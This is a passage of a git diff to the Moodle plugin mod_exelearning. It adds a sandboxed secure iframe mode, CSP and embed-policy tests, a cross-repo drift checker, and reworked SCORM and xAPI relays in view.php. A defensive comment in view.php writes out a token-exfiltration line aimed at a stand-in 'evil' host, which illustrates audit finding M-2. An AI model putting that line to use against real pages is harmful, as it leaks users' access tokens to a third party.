+
+        // Secure + non-HTML subresource: the per-file token-protection headers still apply
+        // (the token rides in the URL of CSS/JS too), but not the document-level CSP.
+        $sub = player_iframe::content_headers('libs/base.css', 'https://moodle.example.net');
+        $this->assertSame('no-referrer', $sub['Referrer-Policy']);
+        $this->assertSame('nosniff', $sub['X-Content-Type-Options']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $sub);
+        $this->assertArrayNotHasKey('Permissions-Policy', $sub);
+
+        // Legacy mode was removed: a leftover iframemode=legacy config still emits the secure
+        // headers (no silent downgrade).
+        set_config('iframemode', 'legacy', 'mod_exelearning');
+        $legacy = player_iframe::content_headers('index.html', 'https://moodle.example.net');
+        $this->assertArrayHasKey('Content-Security-Policy', $legacy);
+        $this->assertSame('no-referrer', $legacy['Referrer-Policy']);
+    }
+
+    /**
+     * The compatible CSP profile re-opens img/media to https: (documented weaker), while the
+     * package iframe still renders opaque-origin (the CSP sandbox directive is unchanged).
+     */
+    public function test_csp_compatible_profile_allows_external_https(): void {
+        $origin = 'https://moodle.example.net';
+        $csp = player_iframe::content_security_policy($origin, player_iframe::CSP_COMPATIBLE);
+        $this->assertMatchesRegularExpression('~img-src[^;]*\bhttps:(?!//)~', $csp);
+        $this->assertMatchesRegularExpression('~media-src[^;]*\bhttps:(?!//)~', $csp);
+        $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp);
+    }
+
+    /**
+     * csp_profile() defaults to strict; an unset or unrecognised value fails safe to strict.
+     */
+    public function test_csp_profile_defaults_strict(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile());
+        set_config('cspprofile', 'bogus', 'mod_exelearning');
+        $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile());
+        set_config('cspprofile', player_iframe::CSP_COMPATIBLE, 'mod_exelearning');
+        $this->assertSame(player_iframe::CSP_COMPATIBLE, player_iframe::csp_profile());
+    }
+
+    /**
+     * The external-embed policy defaults to strict; an unset or unrecognised value fails safe
+     * to strict, and 'open' must be explicitly configured.
+     */
+    public function test_embed_mode_defaults_strict(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode());
+        set_config('embedmode', 'bogus', 'mod_exelearning');
+        $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode());
+        set_config('embedmode', player_iframe::EMBED_OPEN, 'mod_exelearning');
+        $this->assertSame(player_iframe::EMBED_OPEN, player_iframe::embed_mode());
+    }
+}
diff --git a/thirdpartylibs.xml b/thirdpartylibs.xml
index 57dffb7..1c1024a 100644
--- a/thirdpartylibs.xml
+++ b/thirdpartylibs.xml
@@ -21,4 +21,44 @@
     <version>1.1.20121006</version>
     <license>MIT</license>
   </library>
+  <!-- The external-embed pair is maintained in eXeLearning core and mirrored here
+       byte-for-byte (tools/check-embed-sync.mjs asserts the shared invariants). Both
+       files are dual-licensed AGPL-3.0-or-later OR GPL-3.0-or-later by their copyright
+       holder, so this plugin distributes them under GPLv3+ while eXeLearning ships the
+       same file under AGPLv3+. Declared here because they are an external component,
+       not plugin-interface code. -->
+  <library>
+    <location>js/exe_embed_shim.js</location>
+    <name>eXeLearning external-embed shim</name>
+    <description>Runs inside the opaque-origin content iframe: announces itself to the parent relay and, only once welcomed, replaces cross-origin/PDF iframes with geometry placeholders the relay renders on the trusted side.</description>
+    <version>1.0.0</version>
+    <license>GPLv3+</license>
+    <licenseversion>3.0+</licenseversion>
+  </library>
+  <library>
+    <location>js/exe_embed_relay.js</location>
+    <name>eXeLearning external-embed relay</name>
+    <description>Parent-side half of the embed pair: authenticates the content frame by window identity, validates each embed URL and overlays the real sandboxed player over the placeholder.</description>
+    <version>1.0.0</version>
+    <license>GPLv3+</license>
+    <licenseversion>3.0+</licenseversion>
+  </library>
+  <!-- Same provenance and same dual grant as the embed pair above: the modal media
+       bridge is maintained in eXeLearning core and mirrored here. -->
+  <library>
+    <location>js/exe_media_policy.js</location>
+    <name>eXeLearning external-media policy</name>
+    <description>Pure, framework-free policy shared by the media bridge halves: provider detection, canonical privacy-friendly embed URLs rebuilt from a bare id, and strict validation of the postMessage contract.</description>
+    <version>1.0.0</version>
+    <license>GPLv3+</license>
+    <licenseversion>3.0+</licenseversion>
+  </library>
+  <library>
+    <location>js/exe_media_host.js</location>
+    <name>eXeLearning external-media host</name>
+    <description>Parent-side media relay: completes the capability handshake, opens the real provider player in an accessible dialog on the trusted side, and relays a validated set of media commands and events over a private MessageChannel.</description>
+    <version>1.0.0</version>
+    <license>GPLv3+</license>
+    <licenseversion>3.0+</licenseversion>
+  </library>
 </libraries>
diff --git a/tools/EMBED-SYNC.md b/tools/EMBED-SYNC.md
new file mode 100644
index 0000000..efdfa55
--- /dev/null
+++ b/tools/EMBED-SYNC.md
@@ -0,0 +1,39 @@
+# Shared embedder drift control
+
+eXeLearning's secure-iframe support vendors the same bridge logic into several repos.
+`tools/check-embed-sync.mjs` verifies the copies have not drifted (a required logic invariant
+is present in every copy).
+
+## Canonical sources
+
+- **Promote-to-parent embed relay + shim** (`exe_embed_relay.js`, `exe_embed_shim.js`, sandbox
+  PHP): **mod_exelearning** is canonical; `wp-exelearning`, `omeka-s-exelearning` and Procomún
+  mirror it.
+- **Modal media-bridge policy** (`exe_media_policy.js`): **eXeLearning core**
+  (`public/app/common/exe_media_bridge/`) is canonical; mod/wp/omeka/procomun vendor it.
+- **Modal media host** (`exe_media_host.js`): **mod_exelearning** is canonical for the
+  raw-postMessage host that wp/omeka/procomun mirror. eXe **core** ships a *separate*
+  SDK-based host fork (`exe-media-host.js`), so it is intentionally not compared for `mediahost`.
+
+## Run
+
+```bash
+node tools/check-embed-sync.mjs \
+  --core <eXe> --wp <wp-exelearning> --omeka <omeka-s-exelearning> --procomun <procomun>
+```
+
+Exits non-zero on drift. The check normalises whitespace and quote style, so tabs-vs-spaces and
+the IIFE/dual-export wrapper do not count as drift; only missing logic invariants do.
+
+## On a protocol change
+
+Update the canonical file, copy the logic into each mirror (keeping each repo's wrapper and
+comment header), add the new guarantee to the relevant `*_INVARIANTS` list in
+`check-embed-sync.mjs`, and re-run the checker against every mirror.
+
+## CI
+
+There is no shared CI infra across these repos, so the checker is not yet a per-repo CI gate.
+Until shared infra exists, running it (with the mirror flags) is a **required step in the PR
+checklist** whenever a shared embedder file changes. A repo can wire it into CI by sparse-cloning
+the canonical files of the other repos and running the checker with the mirror flags.
diff --git a/tools/check-embed-sync.mjs b/tools/check-embed-sync.mjs
new file mode 100644
index 0000000..01e2fd3
--- /dev/null
+++ b/tools/check-embed-sync.mjs
@@ -0,0 +1,167 @@
+#!/usr/bin/env node
+// Maintenance helper: verify the shared eXeLearning embedder logic stays in sync across repos.
+//
+// Two bridges are covered:
+//   - the promote-to-parent EMBED relay/shim (relay/shim/php) -- mod_exelearning is canonical,
+//     wp/omeka/procomun mirror it; and
+//   - the MODAL media bridge (mediapolicy/mediahost) -- eXe core is canonical for the policy;
+//     the host copies (mod canonical, wp/omeka/procomun) mirror the raw-postMessage host
+//     (core ships a separate SDK-based host fork, so it is not a 'mediahost' target).
+//
+// This is NOT yet a CI gate (there is no shared CI infra across the repos); it is a local
+// check to run before/after touching any shared embedder file. Exits non-zero when a copy
+// has drifted (a required invariant is missing).
+//
+// Usage (mirror paths via flags or *_EXE_DIR env vars):
+//   node tools/check-embed-sync.mjs --core <eXe> --wp <wp> --omeka <omeka> --procomun <procomun>
+// With no mirror paths it only sanity-checks the canonical mod files.
+
+import fs from 'node:fs';
+import path from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const MOD_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..');
+
+/**
+ * Every repository this tool compares, in report order. `mod` is this repo and is always
+ * present; the rest are passed in.
+ *
+ * Kept as ONE list because adding the fourth mirror meant editing the same set of names in
+ * four places — the resolver, the roots map, the iteration order and the usage note — with
+ * nothing to catch a spot that was missed.
+ */
+const REPOS = ['core', 'mod', 'wp', 'omeka', 'procomun', 'nextcloud'];
+const MIRRORS = REPOS.filter((repo) => repo !== 'mod');
+
+/** The flag and environment variable a mirror is passed with. */
+const flagFor = (repo) => `--${repo}`;
+const envFor = (repo) => `${repo.toUpperCase()}_EXE_DIR`;
+
+/** Parse --wp / --omeka / … flags, falling back to env vars. */
+function resolveMirrors() {
+    const args = process.argv.slice(2);
+    const get = (flag) => {
+        const i = args.indexOf(flag);
+        return i !== -1 && args[i + 1] ? args[i + 1] : null;
+    };
+    return Object.fromEntries(
+        MIRRORS.map((repo) => [repo, get(flagFor(repo)) || process.env[envFor(repo)] || null]),
+    );
+}
+
+/** The dual grant: the ONE thing letting a GPLv3 plugin ship this AGPL file. */
+const DUAL_LICENCE_INVARIANT = 'SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later';
+
+// Logic invariants every RELAY copy must contain (normalised: whitespace + quote style
+// are ignored, so tabs-vs-spaces and the IIFE wrapper do not count as drift).
+const RELAY_INVARIANTS = [
+    'isCrossOriginHttps',                  // open-mode structural invariant (DEC-80-03)
+    'normalizeHost',                       // trailing-dot FQDN-root normalisation (no host. bypass)
+    'url.origin === window.location.origin', // cross-origin gate (rejects same-origin)
+    'allow-scripts allow-same-origin allow-popups allow-forms allow-presentation', // video sandbox
+    "frame.setAttribute('sandbox', 'allow-same-origin')", // cross-origin PDF sandbox: no scripts/top-nav (audit M-3)
+    'data-exe-embed-player',              // forged-message defence (D2)
+    'data-exe-embed-src',                 // the page-navigation (id-reuse) fix
+    'Math.min(embed.w, rect.width)',      // overlay clamp (clickjacking defence)
+    'youtube-nocookie.com/embed/',        // strict-mode per-provider reconstruction
+    'reconstructProvider',                // id-only provider channel (DEC-110-01)
+    "action: 'welcome'",                  // answers the shim's hello: without it no copy ever promotes
+    DUAL_LICENCE_INVARIANT,
+];
+
+// Logic invariants every SHIM copy must contain.
+const SHIM_INVARIANTS = [
+    'isCrossOriginHttps',                 // promote any cross-origin https iframe
+    'data-exe-embed-id',
+    'data-exe-embed-url',
+    '.pdf$',                              // the PDF detector (promote PDFs too)
+    'extractProvider',                    // id-only provider channel (DEC-110-01)
+    "action: 'hello'",                    // announces itself instead of promoting on its own authority
+    'activated',                          // the gate: no promotion until a host welcomes this document
+    DUAL_LICENCE_INVARIANT,
+];
+
+// Host + token + setting invariants every sandbox PHP must contain.
+const PHP_INVARIANTS = [
+    'www.dailymotion.com',
+    'mediateca.educa.madrid.org',
+    'allow-scripts allow-popups allow-forms', // secure tokens (normalised, order matters)
+    'embedmode',                          // the open/strict embed policy setting (DEC-80-03)
+];
+
+// Invariants every MODAL-bridge policy copy must contain (exe_media_policy.js). Shared by eXe
+// core and the host vendor copies; conservative (contract/function names, not impl details).
+const MEDIA_POLICY_INVARIANTS = [
+    'canonicalEmbedUrl',                  // parent reconstructs the URL (never trusts the child)
+    'validateCommand',                    // closed action enum + nonce + payload checks
+    'youtube-nocookie.com/embed/',        // canonical YouTube template
+    'player.vimeo.com/video/',            // canonical Vimeo template
+    'exelearningBridge',                  // per-view nonce field
+    DUAL_LICENCE_INVARIANT,
+];
+
+// Invariants every MODAL-bridge host copy must contain (exe_media_host.js raw-postMessage
+// variant). The host copies (mod canonical, wp/omeka/procomun mirrors) share these; eXe core
+// ships a separate SDK-based fork, so 'core' is intentionally not a target for this kind.
+const MEDIA_HOST_INVARIANTS = [
+    'processCommand',                     // the command relay
+    'exelearningBridge',                  // nonce gate
+    'destroyAdapter',                     // adapter/poll-timer teardown
+    'exe-media-modal',                    // the accessible <dialog> class
+    DUAL_LICENCE_INVARIANT,
+];
+
+const FILES = {
+    relay: { core: 'public/app/common/exe_embed_bridge/exe_embed_relay.js', mod: 'js/exe_embed_relay.js', wp: 'assets/js/exe-embed-relay.js', omeka: 'asset/js/exe-embed-relay.js', procomun: 'apps/frontend/public/elpx/exe_embed_relay.js', nextcloud: 'src/embed/exe_embed_relay.js', invariants: RELAY_INVARIANTS },
+    shim: { core: 'public/app/common/exe_embed_bridge/exe_embed_shim.js', mod: 'js/exe_embed_shim.js', wp: 'assets/js/exe-embed-shim.js', omeka: 'asset/js/exe-embed-shim.js', procomun: 'apps/api/static/elpx/embed-shim.js', nextcloud: 'src/embed/exe_embed_shim.js', invariants: SHIM_INVARIANTS },
+    php: { mod: 'classes/local/ui/player_iframe.php', wp: 'includes/class-iframe-sandbox.php', omeka: 'src/Service/IframeSandbox.php', invariants: PHP_INVARIANTS },
+    mediapolicy: { core: 'public/app/common/exe_media_bridge/exe_media_policy.js', mod: 'js/exe_media_policy.js', wp: 'assets/js/exe-media-policy.js', omeka: 'asset/js/exe-media-policy.js', procomun: 'apps/frontend/public/elpx/exe_media_policy.js', invariants: MEDIA_POLICY_INVARIANTS },
+    mediahost: { mod: 'js/exe_media_host.js', wp: 'assets/js/exe-media-host.js', omeka: 'asset/js/exe-media-host.js', procomun: 'apps/frontend/public/elpx/exe_media_host.js', invariants: MEDIA_HOST_INVARIANTS },
+};
+
+const norm = (s) => s.replace(/\s+/g, '').replace(/'/g, '"');
+
+function check(label, absPath, invariants) {
+    if (!fs.existsSync(absPath)) {
+        return { label, path: absPath, missing: ['<file not found>'] };
+    }
+    const body = norm(fs.readFileSync(absPath, 'utf8'));
+    const missing = invariants.filter((inv) => body.indexOf(norm(inv)) === -1);
+    return { label, path: absPath, missing };
+}
+
+function main() {
+    const mirrors = resolveMirrors();
+    const roots = { ...mirrors, mod: MOD_ROOT };
+    const results = [];
+
+    for (const [kind, spec] of Object.entries(FILES)) {
+        for (const repo of REPOS) {
+            if (!roots[repo] || !spec[repo]) { continue; }
+            results.push(check(`${repo}:${kind}`, path.join(roots[repo], spec[repo]), spec.invariants));
+        }
+    }
+
+    let drift = 0;
+    for (const r of results) {
+        if (r.missing.length) {
+            drift++;
+            console.error(`DRIFT  ${r.label}  (${r.path})`);
+            r.missing.forEach((m) => console.error(`         missing: ${m}`));
+        } else {
+            console.log(`ok     ${r.label}`);
+        }
+    }
+
+    if (MIRRORS.some((repo) => !mirrors[repo])) {
+        console.log(`\nNote: pass ${MIRRORS.map((repo) => `${flagFor(repo)} <dir>`).join(' ')}`);
+        console.log(`(or set ${MIRRORS.map(envFor).join(' / ')}) to check all mirrors.`);
+    }
+    if (drift) {
+        console.error(`\n${drift} file(s) drifted from the canonical embedder logic.`);
+        process.exit(1);
+    }
+    console.log('\nNo drift detected.');
+}
+
+main();
diff --git a/view.php b/view.php
index 953176f..2e3a4c6 100644
--- a/view.php
+++ b/view.php
@@ -103,6 +103,23 @@
             'index.html'
         );
     }
+    // Self-heal the secure-mode bridge client (DEC-80-02) into packages extracted
+    // before it existed: if index.html is present but libs/exe_scorm_bridge.js is not,
+    // re-extract once so the bridge scripts are copied and injected. Idempotent and
+    // bounded (only fires until the file exists).
+    if ($mainfile) {
+        $hasbridge = $fs->get_file(
+            $context->id,
+            'mod_exelearning',
+            'content',
+            (int) $exelearning->revision,
+            '/libs/',
+            'exe_scorm_bridge.js'
+        );
+        if (!$hasbridge) {
+            exelearning_extract_stored_package($context->id, (int) $exelearning->revision);
+        }
+    }
     // Self-heal grade-item detection, but only when this package revision has
     // not been scanned yet (gradesyncrev marker). This used to fire whenever the
     // activity had no gradable grade item, which for a content-only package
@@ -217,20 +234,59 @@
         );
     }
 } else {
-    $iframeurl = moodle_url::make_pluginfile_url(
-        $context->id,
-        'mod_exelearning',
-        'content',
-        (int) $exelearning->revision,
-        '/',
-        'index.html'
-    );
+    // Resolve the iframe security mode once (DEC-80-02, corrects DEC-80-01's Route A).
+    // Secure mode serves the package through tokenpluginfile.php so the opaque-origin
+    // iframe's subresources (CSS/JS/images) carry a per-user file token in the URL and
+    // load WITHOUT the SameSite session cookie (an opaque document never sends it).
+    // Secure mode is NOT silently downgraded to legacy: if it cannot render (e.g.
+    // slasharguments off, or a service-worker host that cannot serve an opaque iframe)
+    // the in-iframe shim never signals ready and the parent relay shows a
+    // "blocked by security configuration" notice (client-side watchdog), so an admin
+    // fixes it rather than the activity quietly running in the weaker same-origin mode.
+    $iframemode = \mod_exelearning\local\ui\player_iframe::resolve_mode();
+    $securemode = ($iframemode === \mod_exelearning\local\ui\player_iframe::MODE_SECURE);
+    if ($securemode) {
+        // Short-lived core_files key, rounded to the hour so it is reused (not
+        // regenerated per request). It only authorises file reads and
+        // exelearning_pluginfile() still enforces mod/exelearning:view, so the token
+        // grants strictly less than the same-origin sesskey it replaces.
+        //
+        // The token rides in the URL path, so untrusted author JS in the opaque iframe can
+        // read it (a document can always read its own location) and the document CSP allows
+        // img/media/frame over https:, i.e. it CAN be exfiltrated to a third-party host (e.g.
+        // new Image().src='https://evil/?'+location.pathname). Bind the key to the viewer's IP
+        // so an exfiltrated token is useless when replayed from the attacker's server (the
+        // legitimate file fetches come from the same browser, hence the same IP). Audit M-2.
+        $filetoken = get_user_key(
+            'core_files',
+            $USER->id,
+            null,
+            getremoteaddr(),
+            (intdiv(time(), HOURSECS) + 2) * HOURSECS
+        );
+        $iframeurl = new moodle_url(
+            '/tokenpluginfile.php/' . $filetoken . '/' . $context->id .
+            '/mod_exelearning/content/' . (int) $exelearning->revision . '/index.html'
+        );
+    } else {
+        $iframeurl = moodle_url::make_pluginfile_url(
+            $context->id,
+            'mod_exelearning',
+            'content',
+            (int) $exelearning->revision,
+            '/',
+            'index.html'
+        );
+    }
     // Make the in-package teacher-layer selector available via the package's own URL
     // parameter (eXeLearning core hides teacher content by default and exposes a
-    // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). This
-    // replaces the former CSS injection that hid the selector (mod_exeweb parity): the
-    // plugin no longer mutates the package. The per-activity teachermodevisible setting
-    // alone controls it — when on, the selector is offered to every viewer; no role gate.
+    // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). It works
+    // in secure mode too: the parameter rides in the iframe src and the package reads
+    // its own location.search even under the opaque origin, so no host CSS injection is
+    // needed. This replaces the former CSS injection that hid the selector (mod_exeweb
+    // parity): the plugin no longer mutates the package. The per-activity
+    // teachermodevisible setting alone controls it — when on, the selector is offered to
+    // every viewer; no role gate.
     if (!empty($exelearning->teachermodevisible)) {
         $iframeurl->param('exe-teacher', '1');
     }
@@ -387,64 +443,177 @@
             );
         }
     }
-    // SCORM 1.2 shim: injects window.API into the parent window of the iframe.
-    // pipwerks SCORM (used by eXeLearning v4 iDevices) calls `findAPI()`,
-    // walking `window.parent` looking for an `API` object with `LMSInitialize`.
-    // If not found, the iDevice shows "This page is not part of a SCORM package".
-    // Minimal viable implementation: buffers CMI pairs and sends them to
-    // track.php on LMSCommit/LMSFinish.
+    // SCORM 1.2 client. eXeLearning v4 iDevices use pipwerks SCORM, which calls
+    // findAPI() looking for an `API` object with LMSInitialize. How that API is
+    // provided depends on the configured iframe security mode (DEC-80-01). In secure
+    // mode (the default) the package runs in an opaque-origin sandboxed iframe and
+    // CANNOT reach this page: window.API lives INSIDE the iframe (baked bridge shim,
+    // libs/exe_scorm_bridge.js) and scoring is relayed here over a validated postMessage
+    // channel, with this parent only forwarding it to track.php so the sesskey stays on
+    // the trusted side. In legacy mode the package is same-origin, window.API is injected
+    // here in the parent, and the iframe's pipwerks walks window.parent to find it.
     // One page-load token groups all of this view's commits into a single attempt,
     // shared by whichever channel grades (DEC-0-07).
     $sessiontoken = random_string(20);
-    // Channel choice (DEC-85-01): a package that bundles the upstream xAPI emitter grades
-    // via xAPI; the SCORM shim stays alive (so pipwerks finds window.API and the iDevices
-    // still run and emit their statements) but inert (it never POSTs to track.php). A
-    // legacy package without the emitter keeps SCORM grading exactly as before. The
-    // site-wide master switch (exelearning_xapi_primary_enabled) can force every package
-    // back onto SCORM without a code change.
+    // Channel choice (DEC-85-01, extended to secure mode by DEC-80-05): a package that
+    // bundles the upstream xAPI emitter is graded via xAPI in BOTH iframe modes; the SCORM
+    // shim stays alive (so pipwerks finds window.API and the iDevices run and emit their
+    // statements) but inert, so the two channels never double-count. In legacy mode the
+    // SCORM tracker runs in this parent with disableTracking and the xAPI listener trusts a
+    // statement by event.origin === host origin (same-origin). In secure mode the package
+    // is opaque (event.origin is "null"), so the bridge relay drops the SCORM POST and the
+    // xAPI listener trusts a statement by window identity (event.source === the iframe),
+    // mirroring the SCORM bridge relay.
+    // A legacy package without the emitter keeps SCORM grading exactly as before. The
+    // site-wide master switch (exelearning_xapi_primary_enabled) forces every package back
+    // onto SCORM without a code change.
     $emitsxapi = exelearning_xapi_primary_enabled()
             && exelearning_package_emits_xapi($context->id, (int) $exelearning->revision);
-
-    // The tracker logic is a single source of truth in js/scorm_tracker.js, also
-    // unit-tested with Vitest (tests/js/scorm_tracker.test.js). It is injected inline
-    // (not as an AMD module) so window.API is defined synchronously before the package
-    // iframe's pipwerks findAPI() runs — an async AMD load would race the SCO and break
-    // grading. The config (cmid, track URL, per-page attempt token, sesskey) is built by
-    // tracking_endpoint, which keeps the session key out of the URL (SEC-04), and passed
-    // as JSON to the createScormApi() factory instead of string-substituted placeholders.
-    $scormcfg = json_encode(
-        \mod_exelearning\local\tracking_endpoint::scorm_config(
-            (int) $cm->id,
-            $mode,
-            $sessiontoken,
-            // Inert SCORM shim for xAPI-primary packages (DEC-85-01).
-            $emitsxapi
-        ),
-        JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+    // Tracker config (cmid, track URL, per-page attempt token, sesskey). Built by
+    // tracking_endpoint, which keeps the session key out of the endpoint URL and in the
+    // POST body (SEC-04); both clients below consume the same array, and track.php
+    // validates it with require_body_sesskey().
+    $scormcfg = \mod_exelearning\local\tracking_endpoint::scorm_config(
+        (int) $cm->id,
+        $mode,
+        $sessiontoken,
+        // Inert SCORM shim for xAPI-primary packages (DEC-85-01): window.API stays alive
+        // so the iDevices run and emit statements, but no score is ever POSTed.
+        $emitsxapi
     );
-    $trackerjs = file_get_contents(__DIR__ . '/js/scorm_tracker.js');
-    $bootjs = "\n(function () { window.API = window.exeScormTracker.createScormApi($scormcfg).api; })();";
-    echo html_writer::tag('script', $trackerjs . $bootjs);
 
-    // The xAPI listener (DEC-85-01): for an xAPI-capable package, receive the emitter's
-    // exe-xapi-statement postMessages in this parent page, validate the origin and
-    // forward each to xapi_track.php. Same inline single-source-of-truth pattern as the
-    // SCORM tracker (js/xapi_listener.js, Vitest-tested). It shares $sessiontoken as the
-    // xAPI registration so every statement of this view maps to the same attempt.
+    // Emit an inline <script> that loads a bundled js/ module and boots it. Centralises
+    // the HTML-hardening JSON flags, the js/ path and the "\n(function () { ... })();"
+    // boot wrapper shared by the SCORM and embed clients below (so a fourth client, or a
+    // change to the hardening flags, has a single home). %s in $boot is replaced by the
+    // encoded config. Injected inline so each listener is installed before the iframe
+    // loads — an async AMD load would race the SCO/embeds.
+    $emitinlinemodule = function (string $jsfile, array $cfg, string $boot): void {
+        $json = json_encode($cfg, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
+        $js = file_get_contents(__DIR__ . '/js/' . $jsfile);
+        echo html_writer::tag('script', $js . "\n(function () { " . sprintf($boot, $json) . " })();");
+    };
+
+    // Both $iframemode and $securemode were resolved above so the SCORM client, the
+    // sandbox tokens and the content URL all agree.
+    if ($securemode) {
+        // Parent-side bridge relay (js/scorm_bridge_relay.js, also unit-tested with
+        // Vitest). Injected inline so its message listener is installed before the
+        // iframe loads and emits its first message. It validates each message by
+        // window identity (event.source === iframe.contentWindow), a closed action
+        // list and a per-view nonce, then performs the authenticated track.php POST
+        // (and a sendBeacon flush on pagehide). The nonce and the per-page attempt token
+        // are handed to the in-iframe shim during the handshake; the sesskey stays on
+        // this trusted side — it reaches track.php in the relay's own POST body and
+        // never crosses the bridge. blockedid points at
+        // the hidden notice the relay reveals (watchdog) if the iframe never signals
+        // ready, i.e. the secure mode could not render here.
+        $emitinlinemodule('scorm_bridge_relay.js', $scormcfg + [
+            'iframeid' => 'exelearningobject',
+            'nonce' => random_string(32),
+            'blockedid' => 'exelearning-secure-blocked',
+        ], 'window.exeScormBridge.init(%s);');
+    } else {
+        // Legacy same-origin: host window.API in this parent window. The tracker logic
+        // is the single source of truth in js/scorm_tracker.js, also unit-tested with
+        // Vitest (tests/js/scorm_tracker.test.js). It is injected inline (not as an AMD
+        // module) so window.API is defined synchronously before the package iframe's
+        // pipwerks findAPI() runs — an async AMD load would race the SCO and break
+        // grading. Config is passed as JSON to the createScormApi() factory instead of
+        // string-substituted placeholders.
+        // disableTracking makes the shim inert for an xAPI-primary package (DEC-85-01):
+        // window.API still answers pipwerks so the iDevices run and emit statements, but
+        // it never POSTs to track.php, leaving xAPI as the sole grade channel. The secure
+        // bridge relay above is made inert the same way (DEC-80-05); see $emitsxapi.
+        $emitinlinemodule(
+            'scorm_tracker.js',
+            $scormcfg,
+            'window.API = window.exeScormTracker.createScormApi(%s).api;'
+        );
+    }
+
+    // Parent-side external-media host: ONE vendored artifact
+    // (js/exe_external_media/exe-external-media-host.min.js), built and published by
+    // eXeLearning core, replacing the three files this used to inline separately -- the
+    // embed relay, the media policy and the media host.
+    //
+    // eXeLearning core is canonical (eXe ADR-2199-12). This plugin holds the BYTES and
+    // verifies them against the shipped manifest rather than holding a copy of the logic
+    // that could drift. Do NOT patch it here: a local edit is invisible upstream, is
+    // overwritten on the next re-vendor, and fails `node js/exe_external_media/verify.mjs`
+    // in CI in the meantime. Fix it in eXeLearning core and re-vendor.
+    //
+    // In secure mode every package is opaque, so whitelisted video iframes and PDFs are
+    // promoted to this page and overlaid inline as real players (the child runtime baked
+    // into the package reports their geometry), and the interactive-video iDevice drives
+    // playback through the media half of the same bundle (DEC-80-07) -- which controls the
+    // provider by RAW postMessage, so this trusted page still never loads the YouTube
+    // IFrame API or the Vimeo SDK. Inlined like the SCORM relay so both listeners are
+    // installed before the iframe loads. No-op in legacy mode (same-origin: external
+    // players already work inline and the in-iframe child stays dormant).
+    if ($securemode) {
+        // The host only consults the whitelist in 'strict' mode; in the default 'open'
+        // mode any cross-origin https iframe is promoted, so don't build/ship it.
+        $embedmode = \mod_exelearning\local\ui\player_iframe::embed_mode();
+        $embedstrict = ($embedmode === \mod_exelearning\local\ui\player_iframe::EMBED_STRICT);
+        $externalmedia = file_get_contents(__DIR__ . '/js/exe_external_media/exe-external-media-host.min.js');
+        $embedcfg = json_encode([
+            'mode' => $embedmode,
+            'whitelist' => $embedstrict ? \mod_exelearning\local\ui\player_iframe::embed_whitelist() : [],
+        ], JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
+        echo html_writer::tag(
+            'script',
+            $externalmedia . "\n(function () {\n" .
+            "    window.exeEmbedRelay.init(" . $embedcfg . ");\n" .
+            // This script is emitted BEFORE the player iframe so the relay's listeners are
+            // installed in time, which means the element does not exist yet: looking it up
+            // here found null, the guard below swallowed it, and the media host was never
+            // attached on any page. The symptom was silent and a long way from the cause —
+            // an interactive-video iDevice inside the sandbox asked for a video, no host
+            // answered, and the learner got a blank panel. So the lookup waits for the DOM
+            // while the relay above still does not.
+            "    var attachmedia = function () {\n" .
+            "        var f = document.getElementById('exelearningobject');\n" .
+            "        if (f && window.exeMediaHost) { window.exeMediaHost.attach(f, {}); }\n" .
+            "    };\n" .
+            "    if (document.readyState === 'loading') {\n" .
+            "        document.addEventListener('DOMContentLoaded', attachmedia);\n" .
+            "    } else {\n" .
+            "        attachmedia();\n" .
+            "    }\n" .
+            "})();"
+        );
+
+        // The media host above is the same bundle; it no longer needs its own injection.
+    }
+
+    // The xAPI listener (DEC-85-01; secure mode added by DEC-80-05): for an xAPI-capable
+    // package, receive the emitter's exe-xapi-statement postMessages in this parent page
+    // and forward each to xapi_track.php (the sesskey stays on this trusted side). Same
+    // inline single-source-of-truth pattern as the SCORM tracker (js/xapi_listener.js,
+    // Vitest-tested). It shares $sessiontoken as the xAPI registration so every statement
+    // of this view maps to the same attempt. The trust gate depends on the iframe mode:
+    // legacy is same-origin so a statement is trusted by event.origin === host origin;
+    // secure is opaque (event.origin is "null"), so it is trusted by window identity
+    // (event.source === the iframe), exactly like the SCORM bridge relay above.
     if ($emitsxapi) {
         $hostorigin = preg_replace('~^(https?://[^/]+).*~', '$1', $CFG->wwwroot);
-        $xapicfg = json_encode(
-            \mod_exelearning\local\tracking_endpoint::xapi_config(
-                (int) $cm->id,
-                $mode,
-                $sessiontoken,
-                $hostorigin
-            ),
-            JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+        // Same endpoint builder as the SCORM tracker: routing params in the URL, the
+        // session key in the POST body (SEC-04), validated by require_body_sesskey().
+        $xapicfg = \mod_exelearning\local\tracking_endpoint::xapi_config(
+            (int) $cm->id,
+            $mode,
+            $sessiontoken,
+            $hostorigin
         );
-        $listenerjs = file_get_contents(__DIR__ . '/js/xapi_listener.js');
-        $listenerboot = "\n(function () { window.exeXapiListener.createListener($xapicfg).start(); })();";
-        echo html_writer::tag('script', $listenerjs . $listenerboot);
+        if ($securemode) {
+            // The package runs in an opaque origin, so event.origin is "null" and can
+            // never match the host origin: anchor the trust gate on window identity
+            // instead, exactly like the SCORM bridge relay.
+            $xapicfg['iframeid'] = 'exelearningobject';
+            unset($xapicfg['allowedOrigin']);
+        }
+        $emitinlinemodule('xapi_listener.js', $xapicfg, 'window.exeXapiListener.createListener(%s).start();');
     }
 
     // Fullscreen control (issue #13 #6, DEC-13-03): a right-aligned button above the
@@ -467,16 +636,23 @@
     );
     $PAGE->requires->js_call_amd('mod_exelearning/fullscreen', 'init', ['exelearningobject']);
 
-    // Package iframe. Sandbox policy documented in AN-008:
-    // allow-scripts: eXeLearning v4 uses jQuery + iDevice JS.
